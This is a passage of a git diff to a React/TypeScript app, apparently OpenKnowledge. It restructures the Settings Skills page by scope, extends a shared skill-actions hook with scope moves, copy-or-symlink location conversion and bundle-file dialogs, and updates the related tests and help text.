- test('surfaces an error alert on a failed fetch', async () => {
- mockSkillsFailure();
- render(<SkillsManagerSection />);
- await waitFor(() => expect(screen.getByTestId('settings-skills-error')).toBeDefined());
+ test('renders the section and the folders surface', async () => {
+ mockTargets();
+ render(<SkillsManagerSection scope="project" />);
+ expect(screen.getByTestId('settings-skills-section')).toBeDefined();
+ await waitFor(() => expect(screen.getByTestId('settings-skill-folders')).toBeDefined());
});
- test('a managed built-in skill renders read-only: no Install, no actions menu, "Managed" label', async () => {
- mockSkillsResponse({
- skills: [
- {
- name: 'open-knowledge',
- description: 'The OpenKnowledge project skill.',
- scope: 'project',
- path: '.claude/skills/open-knowledge/SKILL.md',
- installed: true,
- hosts: ['claude'],
- managed: true,
- },
- ],
- truncated: false,
- });
+ test('does not render authoring buttons or the scope-grouped skills list', async () => {
+ mockTargets();
+ render(<SkillsManagerSection scope="project" />);
+ // Give any stray effect a chance to fetch/render before asserting absence.
+ await waitFor(() => expect(screen.getByTestId('settings-skills-section')).toBeDefined());
- render(<SkillsManagerSection />);
-
- const row = await waitFor(() => screen.getByTestId('skill-row-open-knowledge'));
- // Labeled as managed / read-only.
- expect(row.textContent).toContain('Managed');
- // No mutation affordances: no Install button, no 3-dot actions menu.
- expect(screen.queryByTestId('skill-install-open-knowledge')).toBeNull();
- expect(screen.queryByRole('button', { name: 'Actions for open-knowledge' })).toBeNull();
+ expect(screen.queryByTestId('settings-skills-new-button')).toBeNull();
+ expect(screen.queryByTestId('settings-skills-import-button')).toBeNull();
+ expect(screen.queryByTestId('skills-group-project')).toBeNull();
+ expect(screen.queryByTestId('skills-group-global')).toBeNull();
});
});
diff --git a/packages/app/src/components/settings/SkillsManagerSection.tsx b/packages/app/src/components/settings/SkillsManagerSection.tsx
index 95fae278c..4a56a1f05 100644
--- a/packages/app/src/components/settings/SkillsManagerSection.tsx
+++ b/packages/app/src/components/settings/SkillsManagerSection.tsx
@@ -1,219 +1,39 @@
-import type { SkillScope, SkillsListEntry } from '@inkeep/open-knowledge-core';
-import { Trans, useLingui } from '@lingui/react/macro';
-import { Plus } from 'lucide-react';
-import { type ReactNode, useState } from 'react';
-import { NewSkillDialog } from '@/components/NewSkillDialog';
-import { SkillRow } from '@/components/SkillRow';
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans } from '@lingui/react/macro';
import { SkillTargetsPicker } from '@/components/settings/SkillTargetsPicker';
-import { useSkillActions } from '@/components/skill-actions';
-import { Button } from '@/components/ui/button';
-import { Skeleton } from '@/components/ui/skeleton';
-import { useSkills } from '@/hooks/use-skills';
-import { skillLiveDocName } from '@/lib/managed-artifact-doc-name';
-import { openManagedArtifactTab, openSkillFileTab } from '@/lib/open-managed-artifact-tab';
-import { SKILL_SCOPE_ORDER, useSkillScopeLabels } from '@/lib/skill-scope';
-import { useSettingsRoute } from '@/lib/use-settings-route';
/**
- * Settings → Skills. Lists the project's authored skills (under
- * `<projectRoot>/.ok/skills/<name>/`) grouped by scope, so where each skill
- * lives is unmistakable: project skills are shared via git with everyone on
- * the project; global skills follow you across every project on this
- * computer. Each row badges its install-state (Installed vs Draft) and the
- * editor hosts it's projected into, and carries Install / Edit / Delete.
- *
- * Create + edit author the skill's `SKILL.md` (name + description + body);
- * Install projects it into the project's target editors (see `SkillTargetsPicker`).
+ * Settings → Skills, one page per scope: THIS PROJECT carries the project
+ * skill folders, USER carries the global (user-home) ones — matching the
+ * settings nav's own scope split. Per-skill reach lives in each skill's
+ * install menu; authoring and browsing live in the editor's Skills sidebar.
*/
-
-interface ScopeGroupChrome {
- /** Group heading. */
- title: ReactNode;
- /** One-line scope explainer under the heading. */
- blurb: ReactNode;
- /** Shown when this scope has zero skills. */
- empty: ReactNode;
-}
-
-function useScopeChrome(): Record<SkillScope, ScopeGroupChrome> {
- const { t } = useLingui();
- const labels = useSkillScopeLabels();
- return {
- global: {
- title: labels.global,
- blurb: t`Available in every project on this computer.`,
- empty: t`No global skills yet.`,
- },
- project: {
- title: labels.project,
- blurb: t`Shared via git with everyone working on this project.`,
- empty: t`No project skills yet. Author one to teach agents a repeatable task scoped to this knowledge base.`,
- },
- };
-}
-
-export function SkillsManagerSection() {
- const state = useSkills();
- const chrome = useScopeChrome();
- const titleId = 'settings-skills-title';
-
- const settingsRoute = useSettingsRoute();
- const [newSkillOpen, setNewSkillOpen] = useState(false);
-
- // Open the skill as the active editor tab and close Settings so it's visible —
- // editing a skill is editing a document (the tab + sidebar + chrome are the
- // doc shell). Setting the artifact hash also closes Settings (it's hash-driven),
- // so the explicit close() is a belt-and-suspenders no-op once the hash flips.
- // A managed built-in skill (`open-knowledge`) has no editable content doc, so
- // its `SKILL.md` opens in the read-only bundle-file viewer instead.
- function openSkillTab(skill: Pick<SkillsListEntry, 'scope' | 'name' | 'managed'>) {
- if (skill.managed) {
- openSkillFileTab({ scope: skill.scope, name: skill.name, path: 'SKILL.md' });
- } else {
- openManagedArtifactTab(skillLiveDocName(skill.scope, skill.name));
- }
- settingsRoute.close();
- }
-
- // Install/uninstall side effects + the delete/history dialogs are shared with
- // the file-sidebar Skills section via this hook (no duplicated flow).
- const actions = useSkillActions();
+export function SkillsManagerSection({ scope }: { scope: SkillScope }) {
+ const titleId = `settings-skills-title-${scope}`;
return (
<section aria-labelledby={titleId} className="space-y-4" data-testid="settings-skills-section">
- <div className="flex items-start justify-between gap-3">
- <div className="space-y-1">
- <h3 id={titleId} className="text-base font-semibold">
- <Trans>Skills</Trans>
- </h3>
- <p className="text-sm text-muted-foreground">
+ <div className="space-y-1">
+ <h3 id={titleId} className="text-base font-semibold">
+ <Trans>Skills</Trans>
+ </h3>
+ <p className="text-sm text-muted-foreground">
+ {scope === 'project' ? (
+ <Trans>
+ Skills teach agents repeatable tasks. Author and manage them from the Skills section
+ in the editor; each skill's install menu controls where it lives. These are this
+ project's skill folders.
+ </Trans>
+ ) : (
<Trans>
- Skills teach agents repeatable tasks. Author them here; install a skill to project it
- into your editors' skill folders.
+ Your user-level skill folders — available in every project on this machine. Each
+ skill's install menu controls where it lives.
</Trans>
- </p>
- </div>
- <Button
- variant="outline"
- size="sm"
- className="shrink-0 font-mono uppercase"
- onClick={() => setNewSkillOpen(true)}
- data-testid="settings-skills-new-button"
- >
- <Plus className="size-3.5" aria-hidden />
- <Trans>New skill</Trans>
- </Button>
+ )}
+ </p>
</div>
- <SkillTargetsPicker />
-
- {state.status === 'error' ? (
- <div
- className="rounded-lg border border-destructive/30 bg-destructive/5 p-4 text-sm text-destructive"
- role="alert"
- data-testid="settings-skills-error"
- >
- <Trans>Failed to load skills: {state.message}</Trans>
- </div>
- ) : state.status === 'idle' || state.status === 'loading' ? (
- <div className="rounded-lg border bg-card p-3 space-y-2">
- <Skeleton className="h-12 w-full" />
- <Skeleton className="h-12 w-full" />
- </div>
- ) : (
- SKILL_SCOPE_ORDER.map((scope) => {
- const skills = state.data
- .filter((s) => s.scope === scope)
- .sort((a, b) => a.name.toLowerCase().localeCompare(b.name.toLowerCase()));
- // Global store isn't enumerated yet — hide its group
- // entirely until it can hold skills, rather than show a permanently
- // empty section. The project group always renders so its empty state
- // guides first-time authoring.
- if (scope === 'global' && skills.length === 0) return null;
- return (
- <ScopeGroup
- key={scope}
- chrome={chrome[scope]}
- scope={scope}
- skills={skills}
- installingName={actions.installingName}
- onEdit={(skill) => openSkillTab(skill)}
- onDelete={actions.requestDelete}
- onInstall={actions.install}
- onUninstall={actions.uninstall}
- />
- );
- })
- )}
-
- {actions.dialogs}
-
- <NewSkillDialog
- defaultScope="project"
- open={newSkillOpen}
- onOpenChange={setNewSkillOpen}
- onCreated={({ scope, name }) => openSkillTab({ scope, name })}
- />
- </section>
- );
-}
-
-function ScopeGroup({
- chrome,
- scope,
- skills,
- installingName,
- onEdit,
- onDelete,
- onInstall,
- onUninstall,
-}: {
- chrome: ScopeGroupChrome;
- scope: SkillScope;
- skills: readonly SkillsListEntry[];
- installingName: string | null;
- onEdit: (skill: SkillsListEntry) => void;
- onDelete: (skill: SkillsListEntry) => void;
- onInstall: (skill: SkillsListEntry) => void;
- onUninstall: (skill: SkillsListEntry) => void;
-}) {
- const headingId = `settings-skills-${scope}-heading`;
- return (
- <section
- aria-labelledby={headingId}
- className="space-y-2"
- data-testid={`skills-group-${scope}`}
- >
- <div>
- <h4 id={headingId} className="text-sm font-medium">
- {chrome.title}
- </h4>
- <p className="text-1sm text-muted-foreground">{chrome.blurb}</p>
- </div>
- <div className="rounded-lg border bg-card">
- {skills.length === 0 ? (
- <p
- className="px-3 py-4 text-sm text-muted-foreground"
- data-testid={`skills-group-${scope}-empty`}
- >
- {chrome.empty}
- </p>
- ) : (
- <ul className="space-y-1 p-2" data-testid={`skills-group-${scope}-list`}>
- {skills.map((skill) => (
- <SkillRow
- key={skill.name}
- skill={skill}
- installing={installingName === skill.name}
- onEdit={() => onEdit(skill)}
- onDelete={() => onDelete(skill)}
- onInstall={() => onInstall(skill)}
- onUninstall={() => onUninstall(skill)}
- />
- ))}
- </ul>
- )}
- </div>
+ <SkillTargetsPicker scope={scope} />
</section>
);
}
diff --git a/packages/app/src/components/settings/TerminalSection.tsx b/packages/app/src/components/settings/TerminalSection.tsx
index f72aa5745..ff4a58175 100644
--- a/packages/app/src/components/settings/TerminalSection.tsx
+++ b/packages/app/src/components/settings/TerminalSection.tsx
@@ -122,7 +122,7 @@ export function TerminalSection() {
className="text-1sm text-muted-foreground"
data-testid="settings-terminal-autoapprove-body"
>
- {t`Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs "ok open"). Deleting, moving, sharing, installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent.`}
+ {t`Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs "ok open"). Deleting, moving, sharing, importing or installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent.`}
</p>
{autoApproveOn && codexNeedsInit ? (
<p
diff --git a/packages/app/src/components/skill-actions.tsx b/packages/app/src/components/skill-actions.tsx
index f3dfcdcf0..4c5d20a8c 100644
--- a/packages/app/src/components/skill-actions.tsx
+++ b/packages/app/src/components/skill-actions.tsx
@@ -1,19 +1,18 @@
import {
EDITOR_LABELS,
type SkillInstallWarningCode,
+ type SkillScope,
type SkillsListEntry,
} from '@inkeep/open-knowledge-core';
import { Trans, useLingui } from '@lingui/react/macro';
import {
+ ArrowLeftRight,
Copy,
CopyPlus,
DownloadCloud,
+ FilePlus,
FolderOpen,
- Lock,
- Pencil,
PencilLine,
- PowerOff,
- RefreshCw,
Trash2,
} from 'lucide-react';
import { type ReactNode, useState } from 'react';
@@ -25,32 +24,45 @@ import {
} from '@/components/handoff/useHandoffDispatch';
import { useInstalledAgents } from '@/components/handoff/useInstalledAgents';
import { SkillDeleteDialog } from '@/components/SkillDeleteDialog';
+import {
+ SkillFileCreateDialog,
+ type SkillFileCreateTarget,
+} from '@/components/SkillFileCreateDialog';
+import {
+ SkillFileRenameDialog,
+ type SkillFileRenameTarget,
+} from '@/components/SkillFileRenameDialog';
+import { SkillForkDialog, type SkillForkTarget } from '@/components/SkillForkDialog';
+import {
+ SKILL_INSTALL_MENU_WIDTH,
+ SkillInstallMenuItems,
+ useSkillHostToggles,
+} from '@/components/SkillInstallMenu';
import { SkillRenameDialog } from '@/components/SkillRenameDialog';
-import { SkillUpdateDialog } from '@/components/SkillUpdateDialog';
+import { SkillScopeMoveDialog, type SkillScopeMoveTarget } from '@/components/SkillScopeMoveDialog';
import {
DropdownMenuItem,
- DropdownMenuLabel,
DropdownMenuSeparator,
DropdownMenuSub,
DropdownMenuSubContent,
DropdownMenuSubTrigger,
} from '@/components/ui/dropdown-menu';
+import { useOpenSkill } from '@/hooks/use-open-skill';
import { scheduleClipboardWrite } from '@/lib/share/clipboard-adapter';
-import { duplicateSkill, installSkill, uninstallSkill } from '@/lib/skills-api';
+import { useSkillScopeLabels } from '@/lib/skill-scope';
+import { convertSkillLocation, duplicateSkill, installSkill } from '@/lib/skills-api';
import { useWorkspace } from '@/lib/use-workspace';
/**
- * The shared per-skill action surface, reused by every place that lists a skill
- * (the Settings manager rows and the file-sidebar Skills section). One owner of
- * the install/uninstall side effects + the delete/history dialogs means the two
- * surfaces stay behaviorally identical instead of re-deriving the flow.
+ * The shared per-skill action surface, reused by every place that acts on a
+ * skill (the file-sidebar Skills section and the skill editor toolbar). One
+ * owner of the install/uninstall side effects + the delete/history dialogs keeps
+ * those surfaces behaviorally identical instead of re-deriving the flow.
*
* `useSkillActions` owns the stateful pieces (install-in-flight name, the
* delete + history dialog targets) and returns the handlers plus a `dialogs`
- * node the caller mounts once. `SkillActionMenuItems` renders the dropdown rows
- * so the menu reads the same wherever it appears. `onEdit` stays per-surface
- * (Settings closes its dialog; the sidebar just opens the editor) and is passed
- * in by the caller.
+ * node the caller mounts once. `onEdit` stays per-surface and is passed in by
+ * the caller.
*/
export interface SkillActions {
@@ -64,36 +76,72 @@ export interface SkillActions {
install: (
skill: SkillsListEntry,
targets?: readonly string[],
+ opts?: { linkMode?: boolean },
) => Promise<Awaited<ReturnType<typeof installSkill>>>;
- uninstall: (skill: SkillsListEntry) => Promise<Awaited<ReturnType<typeof uninstallSkill>>>;
+ /**
+ * Convert locations of a skill between copy and symlink, one after another,
+ * holding `installingName` for the whole run so every surface shows it working.
+ */
+ convertLocations: (
+ skill: SkillsListEntry,
+ targets: readonly { target: string; mode: 'copy' | 'link' }[],
+ ) => Promise<void>;
+ /**
+ * Run one location write (source move, custom placement, un-placement) under
+ * the same in-flight name as install, so every surface reads "Working" for
+ * its duration.
+ *
+ * A write fired outside this reads as settled the instant it leaves — and a
+ * source move is not atomic on disk: for the moment between the real folder
+ * relocating and a symlink taking its place, the OLD source is a plain
+ * directory. A watcher refetch landing in that window paints it as a COPY,
+ * which then vanishes on the next one. The write is done when the list
+ * reflects it, not when the request returns.
+ */
+ runLocationWrite: <T>(skill: SkillsListEntry, run: () => Promise<T>) => Promise<T>;
/** Duplicate a skill into `<name>-copy` (existing names avoid collisions). */
duplicate: (skill: SkillsListEntry, existingNames: ReadonlySet<string>) => Promise<void>;
/** Open the (reused) delete-confirm dialog for a skill. */
requestDelete: (skill: SkillsListEntry) => void;
- /** Open the update-confirm dialog for a pack skill (refresh from bundle). */
- requestUpdate: (skill: SkillsListEntry) => void;
/** Open the rename dialog for a skill; `existingNames` drives its collision check. */
requestRename: (skill: SkillsListEntry, existingNames: ReadonlySet<string>) => void;
- /** Mount once per surface — the delete/rename dialogs these actions drive. */
+ /** Open the confirm dialog to move a skill to the other scope (project ↔ global). */
+ requestScopeMove: (skill: SkillsListEntry, toScope: SkillScope) => void;
+ /** Open the bundle-FILE rename/move dialog (§8.9). */
+ requestFileRename: (skill: SkillsListEntry, filePath: string) => void;
+ /** Open the new-bundle-file dialog (optionally seeded with a dir prefix). */
+ requestFileCreate: (skill: SkillsListEntry, prefix?: string) => void;
+ /** Open the fork-resolution dialog for a conflicted editor copy. */
+ requestForkResolve: (skill: SkillsListEntry, editor: string) => void;
+ /** Mount once per surface — the dialogs these actions drive. */
dialogs: ReactNode;
}
export function useSkillActions(): SkillActions {
const { t } = useLingui();
+ const openSkill = useOpenSkill();
const [deleteTarget, setDeleteTarget] = useState<SkillsListEntry | null>(null);
const [renameTarget, setRenameTarget] = useState<{
skill: SkillsListEntry;
existingNames: ReadonlySet<string>;
} | null>(null);
- const [updateTarget, setUpdateTarget] = useState<SkillsListEntry | null>(null);
+ const [scopeMoveTarget, setScopeMoveTarget] = useState<SkillScopeMoveTarget | null>(null);
+ const [fileRenameTarget, setFileRenameTarget] = useState<SkillFileRenameTarget | null>(null);
+ const [fileCreateTarget, setFileCreateTarget] = useState<SkillFileCreateTarget | null>(null);
+ const [forkTarget, setForkTarget] = useState<SkillForkTarget | null>(null);
const [installingName, setInstallingName] = useState<string | null>(null);
- async function install(skill: SkillsListEntry, targets?: readonly string[]) {
+ async function install(
+ skill: SkillsListEntry,
+ targets?: readonly string[],
+ opts?: { linkMode?: boolean },
+ ) {
setInstallingName(skill.name);
const result = await installSkill({
scope: skill.scope,
name: skill.name,
...(targets ? { targets: [...targets] } : {}),
+ ...(opts?.linkMode !== undefined ? { linkMode: opts.linkMode } : {}),
});
setInstallingName(null);
if (!result.ok) {
@@ -130,10 +178,18 @@ export function useSkillActions(): SkillActions {
if (added.length > 0) {
const scriptsWarning = messageFor('scripts-present');
if (scriptsWarning) toast.warning(scriptsWarning);
+ // Empty-description nudge: install succeeded — surface the
+ // advisory only when actually adding, never on a no-op/uninstall click.
+ const noDescriptionWarning = messageFor('no-description');
+ if (noDescriptionWarning) toast.warning(noDescriptionWarning);
}
if (result.hosts.length === 0) {
- toast.success(t`"${skill.name}" uninstalled — back to a draft`);
+ // Not a draft: the redesign retired that state. A skill with no extra
+ // locations still lives — and still loads — at its source folder.
+ toast.success(
+ t`Removed "${skill.name}" from every other location — its source folder still loads`,
+ );
} else if (added.length > 0 && removed.length === 0) {
toast.success(t`Installed "${skill.name}" into ${label(added)}`);
} else if (removed.length > 0 && added.length === 0) {
@@ -146,15 +202,46 @@ export function useSkillActions(): SkillActions {
return result;
}
- async function uninstall(skill: SkillsListEntry) {
+ /**
+ * Convert one or more of a skill's locations between copy and symlink.
+ *
+ * Sequential, and routed through the same in-flight name as install so every
+ * surface showing this skill reads "Working" for the whole run. Firing the
+ * conversions in parallel instead left the pill idle while folders were being
+ * rewritten underneath it, so the list could refetch mid-run and render a
+ * half-converted state as if it were settled.
+ */
+ async function convertLocations(
+ skill: SkillsListEntry,
+ targets: readonly { target: string; mode: 'copy' | 'link' }[],
+ ) {
+ if (targets.length === 0) return;
+ setInstallingName(skill.name);
+ // No try/finally: `convertSkillLocation` reports failures in its result
+ // rather than throwing, so a single exit point clears the flag (and the
+ // React Compiler cannot lower a try without a catch).
+ for (const { target, mode } of targets) {
+ const result = await convertSkillLocation({
+ scope: skill.scope,
+ name: skill.name,
+ target,
+ mode,
+ });
+ if (!result.ok) {
+ toast.error(result.error);
+ break;
+ }
+ }
+ setInstallingName(null);
+ }
+
+ async function runLocationWrite<T>(skill: SkillsListEntry, run: () => Promise<T>): Promise<T> {
setInstallingName(skill.name);
- const result = await uninstallSkill({ scope: skill.scope, name: skill.name });
+ // Single exit point, no try/finally: these writers report failures in their
+ // result rather than throwing (and the React Compiler cannot lower a try
+ // without a catch). The caller keeps its own error reporting.
+ const result = await run();
setInstallingName(null);
- if (!result.ok) {
- toast.error(t`Couldn't uninstall skill: ${result.error}`);
- } else {
- toast.success(t`"${skill.name}" uninstalled — back to a draft`);
- }
return result;
}
@@ -165,6 +252,10 @@ export function useSkillActions(): SkillActions {
return;
}
toast.success(t`Duplicated to "${result.name}"`);
+ // Open the copy — the point of duplicating is to edit it. The copy lands at
+ // the source's scope; `useOpenSkill` is the robust open (a fresh project skill
+ // would otherwise strand on the read-only asset viewer via the hash path).
+ openSkill(skill.scope, result.name);
}
const dialogs = (
@@ -184,12 +275,29 @@ export function useSkillActions(): SkillActions {
}}
onRenamed={() => setRenameTarget(null)}
/>
- <SkillUpdateDialog
- skill={updateTarget}
+ <SkillScopeMoveDialog
+ target={scopeMoveTarget}
+ onOpenChange={(open) => {
+ if (!open) setScopeMoveTarget(null);
+ }}
+ />
+ <SkillFileRenameDialog
+ target={fileRenameTarget}
onOpenChange={(open) => {
- if (!open) setUpdateTarget(null);
+ if (!open) setFileRenameTarget(null);
+ }}
+ />
+ <SkillFileCreateDialog
+ target={fileCreateTarget}
+ onOpenChange={(open) => {
+ if (!open) setFileCreateTarget(null);
+ }}
+ />
+ <SkillForkDialog
+ target={forkTarget}
+ onOpenChange={(open) => {
+ if (!open) setForkTarget(null);
}}
- onUpdated={() => setUpdateTarget(null)}
/>
</>
);
@@ -197,11 +305,17 @@ export function useSkillActions(): SkillActions {
return {
installingName,
install,
- uninstall,
+ convertLocations,
+ runLocationWrite,
duplicate,
requestDelete: setDeleteTarget,
requestRename: (skill, existingNames) => setRenameTarget({ skill, existingNames }),
- requestUpdate: setUpdateTarget,
+ requestScopeMove: (skill, toScope) =>
+ setScopeMoveTarget({ scope: skill.scope, name: skill.name, toScope }),
+ requestFileRename: (skill, filePath) => setFileRenameTarget({ skill, filePath }),
+ requestFileCreate: (skill, prefix) =>
+ setFileCreateTarget(prefix !== undefined ? { skill, prefix } : { skill }),
+ requestForkResolve: (skill, editor) => setForkTarget({ skill, editor }),
dialogs,
};
}
@@ -209,58 +323,75 @@ export function useSkillActions(): SkillActions {
const EMPTY_NAME_SET: ReadonlySet<string> = new Set();
/**
- * The dropdown rows for a single skill. Rendered inside a `DropdownMenuContent`
- * by each surface. `onInstall` is optional: the Settings row omits it (it shows
- * a dedicated Install button), while the sidebar 3-dot menu includes it.
+ * The full per-skill context menu for the file-sidebar Skills rows. Mirrors a
+ * file row's menu (Reveal in Finder / Open with AI / Open in Terminal / Copy
+ * Path / Duplicate / Rename / Delete) with Install/Uninstall in place of "Hide".
+ * Reuses the file menu's own primitives — the desktop bridge (`showItemInFolder`),
+ * `OpenInAgentContextSubmenu` (which carries the docked-terminal launch), and the
+ * clipboard adapter — plus `useSkillActions` for the install/duplicate/rename/delete flow.
+ * No "Edit" row: clicking the sidebar row opens the editor, like a file.
+ */
+/**
+ * Menu for a bundle FILE row (references/ + scripts/ + assets) inside a skill —
+ * the skill-level actions (install/rename/delete) don't apply, so it offers just
+ * Reveal + Copy Path, resolved against the file's own path (skill dir + the
+ * file's relative path). Reuses the same desktop bridge + clipboard primitives.
*/
-export function SkillActionMenuItems({
+export function SkillFileContextMenuItems({
skill,
- onEdit,
- onInstall,
- onUninstall,
- onDelete,
+ filePath,
+ actions,
}: {
skill: SkillsListEntry;
- onEdit: () => void;
- onInstall?: () => void;
- onUninstall: () => void;
- onDelete: () => void;
+ filePath: string;
+ actions: SkillActions;
}) {
+ const { t } = useLingui();
+ const bridge = typeof window !== 'undefined' ? window.okDesktop : undefined;
+ const absoluteFile = skill.absolutePath ? `${skill.absolutePath}/${filePath}` : undefined;
+ const relativeFile = `${skill.path}/${filePath}`;
+
+ async function copy(text: string) {
+ try {
+ await scheduleClipboardWrite(text);
+ toast.success(t`Copied path`);
+ } catch {
+ toast.error(t`Couldn't copy path`);
+ }
+ }
+
return (
<>
- <DropdownMenuItem onSelect={onEdit}>
- <Pencil aria-hidden />
- <Trans>Edit</Trans>
+ <DropdownMenuItem onSelect={() => actions.requestFileRename(skill, filePath)}>
+ <PencilLine aria-hidden />
+ <Trans>Rename</Trans>
</DropdownMenuItem>
- {onInstall && !skill.installed ? (
- <DropdownMenuItem onSelect={onInstall}>
- <DownloadCloud aria-hidden />
- <Trans>Install</Trans>
- </DropdownMenuItem>
- ) : null}
- {skill.installed ? (
- <DropdownMenuItem onSelect={onUninstall}>
- <PowerOff aria-hidden />
- <Trans>Uninstall</Trans>
+ {bridge && absoluteFile ? (
+ <DropdownMenuItem onSelect={() => void bridge.shell.showItemInFolder(absoluteFile)}>
+ <FolderOpen aria-hidden />
+ <Trans>Reveal in Finder</Trans>
</DropdownMenuItem>
) : null}
- <DropdownMenuItem variant="destructive" onSelect={onDelete}>
- <Trash2 aria-hidden />
- <Trans>Delete</Trans>
- </DropdownMenuItem>
+ <DropdownMenuSub>
+ <DropdownMenuSubTrigger>
+ <Copy aria-hidden />
+ <Trans>Copy Path</Trans>
+ </DropdownMenuSubTrigger>
+ <DropdownMenuSubContent>
+ {absoluteFile ? (
+ <DropdownMenuItem onSelect={() => void copy(absoluteFile)}>
+ <Trans>Full Path</Trans>
+ </DropdownMenuItem>
+ ) : null}
+ <DropdownMenuItem onSelect={() => void copy(relativeFile)}>
+ <Trans>Relative Path</Trans>
+ </DropdownMenuItem>
+ </DropdownMenuSubContent>
+ </DropdownMenuSub>
</>
);
}
-/**
- * The full per-skill context menu for the file-sidebar Skills rows. Mirrors a
- * file row's menu (Reveal in Finder / Open with AI / Open in Terminal / Copy
- * Path / Duplicate / Rename / Delete) with Install/Uninstall in place of "Hide".
- * Reuses the file menu's own primitives — the desktop bridge (`showItemInFolder`),
- * `OpenInAgentContextSubmenu` (which carries the docked-terminal launch), and the
- * clipboard adapter — plus `useSkillActions` for the install/duplicate/rename/delete flow.
- * No "Edit" row: clicking the sidebar row opens the editor, like a file.
- */
export function SkillContextMenuItems({
skill,
actions,
@@ -272,8 +403,10 @@ export function SkillContextMenuItems({
}) {
const { t } = useLingui();
const workspace = useWorkspace();
+ const scopeLabels = useSkillScopeLabels();
const installStates = useInstalledAgents().states;
const { dispatch } = useHandoffDispatch();
+ const hostToggles = useSkillHostToggles(skill, actions);
// Desktop-only rows (Reveal / Terminal) render only in OK Desktop; the bridge
// is absent on the web host, like the file menu's reveal row.
const bridge = typeof window !== 'undefined' ? window.okDesktop : undefined;
@@ -288,49 +421,6 @@ export function SkillContextMenuItems({
}
}
- // OK's built-in `open-knowledge` skill is managed + read-only: offer only the
- // non-mutating actions (reveal / open-in-agent / copy path). No Duplicate,
- // Rename, Install, Uninstall, or Delete, since editing it isn't possible.
- if (skill.managed) {
- return (
- <>
- <DropdownMenuLabel className="flex items-center gap-1.5 text-muted-foreground">
- <Lock className="size-3" aria-hidden />
- <Trans>Managed by OpenKnowledge</Trans>
- </DropdownMenuLabel>
- <DropdownMenuSeparator />
- {bridge && absolutePath ? (
- <DropdownMenuItem onSelect={() => void bridge.shell.showItemInFolder(absolutePath)}>
- <FolderOpen aria-hidden />
- <Trans>Reveal in Finder</Trans>
- </DropdownMenuItem>
- ) : null}
- <OpenInAgentContextSubmenu
- input={buildSkillHandoffInput({ skillName: skill.name, scope: skill.scope, workspace })}
- installStates={installStates}
- isElectronHost={bridge != null}
- dispatch={dispatch}
- />
- <DropdownMenuSub>
- <DropdownMenuSubTrigger>
- <Copy aria-hidden />
- <Trans>Copy Path</Trans>
- </DropdownMenuSubTrigger>
- <DropdownMenuSubContent>
- {absolutePath ? (
- <DropdownMenuItem onSelect={() => void copy(absolutePath)}>
- <Trans>Full Path</Trans>
- </DropdownMenuItem>
- ) : null}
- <DropdownMenuItem onSelect={() => void copy(skill.path)}>
- <Trans>Relative Path</Trans>
- </DropdownMenuItem>
- </DropdownMenuSubContent>
- </DropdownMenuSub>
- </>
- );
- }
-
return (
<>
{bridge && absolutePath ? (
@@ -376,23 +466,40 @@ export function SkillContextMenuItems({
<PencilLine aria-hidden />
<Trans>Rename</Trans>
</DropdownMenuItem>
- {skill.updateAvailable ? (
- <DropdownMenuItem onSelect={() => actions.requestUpdate(skill)}>
- <RefreshCw aria-hidden />
- <Trans>Update skill</Trans>
- </DropdownMenuItem>
- ) : null}
- {skill.installed ? (
- <DropdownMenuItem onSelect={() => void actions.uninstall(skill)}>
- <PowerOff aria-hidden />
- <Trans>Uninstall</Trans>
- </DropdownMenuItem>
- ) : (
- <DropdownMenuItem onSelect={() => void actions.install(skill)}>
+ <DropdownMenuItem onSelect={() => actions.requestFileCreate(skill)}>
+ <FilePlus aria-hidden />
+ <Trans>New file</Trans>
+ </DropdownMenuItem>
+ {/* Per-editor install submenu — the SAME control as the editor toolbar's
+ install pill, so the row menu no longer offers only a bare "Install" while
+ the editor offers a per-platform dropdown (§9.3). */}
+ <DropdownMenuSub>
+ <DropdownMenuSubTrigger>
<DownloadCloud aria-hidden />
<Trans>Install</Trans>
- </DropdownMenuItem>
- )}
+ </DropdownMenuSubTrigger>
+ <DropdownMenuSubContent className={SKILL_INSTALL_MENU_WIDTH}>
+ <SkillInstallMenuItems
+ toggles={hostToggles}
+ skill={skill}
+ onResolveFork={(editor) => actions.requestForkResolve(skill, editor)}
+ />
+ </DropdownMenuSubContent>
+ </DropdownMenuSub>
+ {/* Scope switch in the menu (§9.5) — the toolbar's level Select hides when the
+ pane is narrow, so surface the project↔global move here too. */}
+ <DropdownMenuItem
+ onSelect={() =>
+ actions.requestScopeMove(skill, skill.scope === 'project' ? 'global' : 'project')
+ }
+ >
+ <ArrowLeftRight aria-hidden />
+ {skill.scope === 'project' ? (
+ <Trans>Move to {scopeLabels.global}</Trans>
+ ) : (
+ <Trans>Move to {scopeLabels.project}</Trans>
+ )}
+ </DropdownMenuItem>
<DropdownMenuSeparator />
<DropdownMenuItem variant="destructive" onSelect={() => actions.requestDelete(skill)}>
<Trash2 aria-hidden />
diff --git a/packages/app/src/components/skill-install-cluster.dom.test.ts b/packages/app/src/components/skill-install-cluster.dom.test.ts
new file mode 100644
index 000000000..2e6b85eb1
--- /dev/null
+++ b/packages/app/src/components/skill-install-cluster.dom.test.ts
@@ -0,0 +1,60 @@
+import { afterEach, describe, expect, test } from 'vitest';
+import { applyInstallClusters } from './skill-install-cluster';
+
+/**
+ * The sidebar rows live in a style-isolated shadow root, so their install marks
+ * cannot use Radix and must not use the native `title` attribute (which does not
+ * render while the window is unfocused). These cover the replacement.
+ */
+function buildTree(): { host: HTMLElement; shadow: ShadowRoot } {
+ const host = document.createElement('div');
+ const shadow = host.attachShadow({ mode: 'open' });
+ const row = document.createElement('div');
+ row.setAttribute('data-type', 'item');
+ row.setAttribute('data-item-path', 'Project/my-skill/');
+ shadow.appendChild(row);
+ document.body.appendChild(host);
+ return { host, shadow };
+}
+
+const decor = { kind: 'icons', poolKeys: ['claude', 'codex'], title: 'Installed in Claude, Codex' };
+
+describe('install cluster hints', () => {
+ afterEach(() => {
+ document.body.replaceChildren();
+ });
+
+ test('the cluster carries its hint as data, never as a native title', () => {
+ const { shadow } = buildTree();
+ applyInstallClusters(shadow, {
+ decorFor: () => decor as never,
+ iconPool: null,
